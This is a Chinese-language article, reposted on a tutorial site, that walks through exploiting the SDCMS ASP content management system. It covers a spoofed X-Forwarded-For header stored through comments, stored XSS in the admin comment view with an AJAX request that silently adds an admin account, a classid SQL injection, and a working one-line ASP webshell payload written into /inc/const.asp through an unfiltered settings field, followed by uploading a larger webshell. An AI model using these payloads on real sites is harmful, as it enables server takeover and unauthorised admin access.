来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] SDCMS全称:时代网站信息管理系统。SDCMS是基于ASP+ACCESS/MSSQL的网站信息管理系统。永久免费,开源!SDCMS以信息为主题,通过以文字和图片标题为起点,以无限栏目分类为支撑,配合多项...
SDCMS全称:时代网站信息管理系统。SDCMS是基于ASP+ACCESS/MSSQL的网站信息管理系统。永久免费,开源!SDCMS以信息为主题,通过以文字和图片标题为起点,以无限栏目分类为支撑,配合多项插件的灵活使用,以达到信息门户的远景!
SDCMS总结各类信息门户的现状,充分考虑符合站长需求的前提下。设计了灵活多变的标签调用方式,满足了不同层次的需求。 SDCMS以安全第一为原则,解决了ASP程序的常见漏洞问题(服务器自身的问题除外)。程序自身无任何后门,严格的代码过滤功能为网站的安全运行提供了可靠的保障。 上面是SDCMS网站对自己产品的评价。确实,其产品漂亮的界面, 灵活的插件体现了这一点。尤其在安全方面, 在防注入方面过滤掉了相关的敏感符号,起到了一定的防护作用。 其安全性和外表的美观性,及其可扩展性, 使其成为了广大建站爱好者的不二之选. 我们google关键字”power by sdcms”便可以发现. 但智者千滤, 必有一失。一般在最平常,最让人忽略的地方,往往是最容易出问题的地方。(其官网为:http://www.sdcms.cn 大家可以在上面下到源代码) 看下面的代码,我们开始慢慢分析: (注: 这种方法是在管理员允许评论的时候,才能利用的,不过,一般管理员都会允许评论吧) 在/plug/comment.asp中 sub save_comment …… username=sdcms_f.HTMLEncode(username) content=sdcms_f.contentEncode(content) ip=sdcms_f.getip ‘请看这里,这里得到用户的IP. set rs=server.CreateObject("adodb.recordset") sql="select username,content,ip,infoid,ispass from sd_comment" rs.open sql,conn,1,3 rs.addnew rs(0)=left(username,10) rs(1)=content rs(2)=ip //没有任何过滤, 直接插到了数据库中. rs(3)=id if sdcms_comment_ispass=1 then msg_contents=",请等待审核" rs(4)=0 else rs(4)=1 end if rs.update …… end sub 下面我们看下getip的实现吧, 在/inc/function.asp中 Public Function getip ip=request.ServerVariables("HTTP_X_FORWARDED_FOR") if ip="" then ip=Request.ServerVariables("REMOTE_ADDR") getip=ip End function 看到这里,大家都知道问题的存在了吧.作者通过”HTTP_X_FORWARDED_FOR”这个字段来得到IP的值,而我们知道,这个字段在数据包中是可以伪造的. 我们可以伪造数据包,将”HTTP_X_FORWARDED_FOR”的值, 改成一句话木马提交, 这样, 就直接将一句话木马插进数据库里去了. 如果我们知道数据库的位置,并且数据库的后缀名是asp的,那么就直接可以利用了. 但可惜,这个CMS的数据库的名称未知,在安装的时候, 由如下代码生成12个随机字符构成, 加上后缀名还是mdb的, 所以我们要插入一句话, 也没法利用的. /install/index.asp中 Function get_something Randomize Do While Len(pass)<12 '随机密码位数 num1=CStr(Chr((57-48)*rnd+48)) '0~9 num2=CStr(Chr((90-65)*rnd+65)) 'A~Z num3=CStr(Chr((122-97)*rnd+97)) 'a~z pass=pass&num1&num2&num3 loop get_something=pass end function 我们考虑用另外一种方式来达到入侵的目的. 看如下代码: /admin/sdcms_comment.asp sub main echo "<form name=""add"" action=""?"" method=""post"" onSubmit=""return confirm('确定要执行选定的操作吗?');"">" page=request.querystring("page") if page="" or not isnumeric(page) then page=1 end if pages =20 set rs=server.CreateObject("adodb.recordset") if request("classid")<>0 then tj=" where infoid="&request("classid")&"" ‘这里还有一个注入漏洞,虽然上面用classid=sdcms.Requestint(classid)来得到其整数值,但放在sql中查询的时候,并没有用classid来查询,而是直接用request(“classid”)来查询,作者在防注入的时候,没有对其值进行过滤, 所以可以注入, 但这个注入的前提是有管理员权限, 所以,我们就不讨论了. sql="select id,username," if Is_sql=0 then sql=sql&"(iif(ispass=1,'已审','未审'))" else www.2cto.com sql=sql&"(case ispass when 1 then '已审'else'未审' end)" end if sql=sql&",ip,adddate,content,ispass,infoid from "&sd_table&" "&tj&" order by ispass,id desc" ‘作者用sql语句直接查出IP的值来,并用如下代码显示在了页面上,没有经过任何过滤. <td class="title_bg" style="text-align:left"><span style="float:right"><%if rs(6)=0 then%><a href="?action=pass&id=<%=rs(0)%>&t=1&classid=<%=classid%>">通过验证</a><%else%><a href="?action=pass&id=<%=rs(0)%>&t=0&classid=<%=classid%>">取消验证</a><%end if%> <a href="?action=del&id=<%=rs(0)%>&classid=<%=classid%>" ,false); ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ajax.send("t0=test&t1=test&t2=1"); 这样,管理员浏览过评论后,就会自动添加一个帐号, 呵呵. 这在我以前的文章中都提到过, 就不细讲了. 接下来是如何拿shell. 我们看下后台写配置的地方的代码: 在/admin/sdcms_set.asp中 set fso=server.CreateObject("scripting.filesystemobject") set info=fso.CreateTextFile(Server.mappath("../inc/const.asp"),true) info.write "<" & "%" & vbcrlf …… info.write "%" & ">" info.close set info=nothing set fso=nothing 作者将配置文件写到了/inc/const.asp中, 而在 sub save t0=clear_bad(trim(request("t0"))) t1=clear_bad(trim(request("t1"))) t2=clear_bad(trim(request("t2"))) t3=clear_bad(trim(request("t3"))) t4=clear_bad(trim(request("t4"))) t5=clear_bad(trim(request("t5"))) t6=clear_bad(trim(request("t6"))) t7=clear_bad(trim(request("t7"))) t8=clear_bad(trim(request("t8"))) t9=clear_bad(trim(request("t9"))) t10=clear_bad(trim(request("t10"))) t11=clear_bad(trim(request("t11"))) t12=clear_bad(trim(request("t12"))) t13=trim(request("t13")) t14=dir_check(trim(request("t14"))) t15=trim(request("t15")) t16=trim(request("t16")) t17=dir_check(trim(request("t17"))) if t17<>"" then t17=t17&"/" select case t3 case ".htm",".html",".shtml" case else:t3=".html" end select select case t13 case "0","1" case else:t13=0 end select set sdcms_f=new sdcms_function t9=sdcms_f.check_event(t9,"|"):t10=sdcms_f.check_event(t10,"|"):t11=sdcms_f.check_event(t11,"|") set sdcms_f=nothing, 对其提交的参数进行了过滤. Function clear_bad(t0) clear_bad=Replace(t0,"""","") clear_bad=Replace(t0,CHR(10),"") End Function 上面可以看到对t15,t16的值没有过滤. T16正好是系统管理,偏好设置中的文件名称项 所以,我们将文件名称的值改为test"%><%execute request("value")%><%a="test 这样, 我们就在/inc/const.asp文件中,写入了一句话木马. 然后再上传大的webshell就OK了. |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com